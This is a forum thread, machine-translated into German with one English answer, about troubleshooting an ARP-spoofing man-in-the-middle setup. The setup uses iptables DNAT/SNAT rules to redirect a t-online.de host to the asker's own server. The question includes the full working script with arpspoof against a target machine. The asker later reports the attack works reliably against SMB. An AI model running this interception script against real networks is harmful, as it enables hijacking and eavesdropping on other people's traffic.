Iptables funktionieren manchmal nicht so, wie ich denke, dass sie sollten

357
mohe2015

Ich versuche in meinem lokalen Netzwerk einen Man-in-the-Middle-Angriff durchzuführen und versuche, den Server navigationshilfe1.t-online.de durch meinen eigenen Server zu ersetzen. Später möchte ich einen benutzerdefinierten Dienst anstelle eines http-Dienstes ersetzen. Meine aktuellen Skripte sehen so aus:

sysctl -w net.ipv4.ip_forward=1  export TARGET=192.168.2.104 export ATTACKER=192.168.2.115 export GATEWAY=192.168.2.1 export SITE=62.138.238.45 # navigationshilfe1.t-online.de  iptables -t nat -F  iptables -t nat -A PREROUTING -p tcp --destination-port 80 -d $SITE -j DNAT --to-destination $ATTACKER:80 iptables -t nat -A POSTROUTING -p tcp -s $ATTACKER --source-port 80 -j SNAT --to-source $SITE:80  iptables -t nat -L -n -v  arpspoof -i eth0 -c both -t $TARGET -r $GATEWAY 

Das Problem ist, dass manchmal der Webbrowser des Ziels die echte Site anzeigt und wenn ich die Seite ein paar Mal aktualisiere, die gefälschte und umgekehrt. Weiß jemand warum oder ist die Verbindung einfach schlecht?

0
Schauen Sie sich auch an, wie [transparente Proxies] (http://docs.mitmproxy.org/de/stable/transparent.html) normalerweise mit "iptables" konfiguriert werden (Sie werden wahrscheinlich den HTTP-Verkehr zuerst abfangen wollen.) Platz). dirkt vor 6 Jahren 0

1 Antwort auf die Frage

0
plugwash

There are a few possibilites

Note that iptables nat rules only work on the first packet of a connection. Once a connection is established the internal mapping tables are used.

Browsers re-use connections to save connection setup overhead. So if your browser still has open connections from before you added the rules requests on those connections will not be diverted.

Another possibility is that you are seeing the affects of caching in the browser. Browsers will often do a "conditional get" which only redownloads the page if the timestamps indicate it has changed since the client last downloaded it.

Es lag wahrscheinlich an Keep-Alive und einigen anderen unbekannten Faktoren. Es arbeitet jetzt zuverlässig mit dem realen Zielprotokoll (smb) mohe2015 vor 6 Jahren 0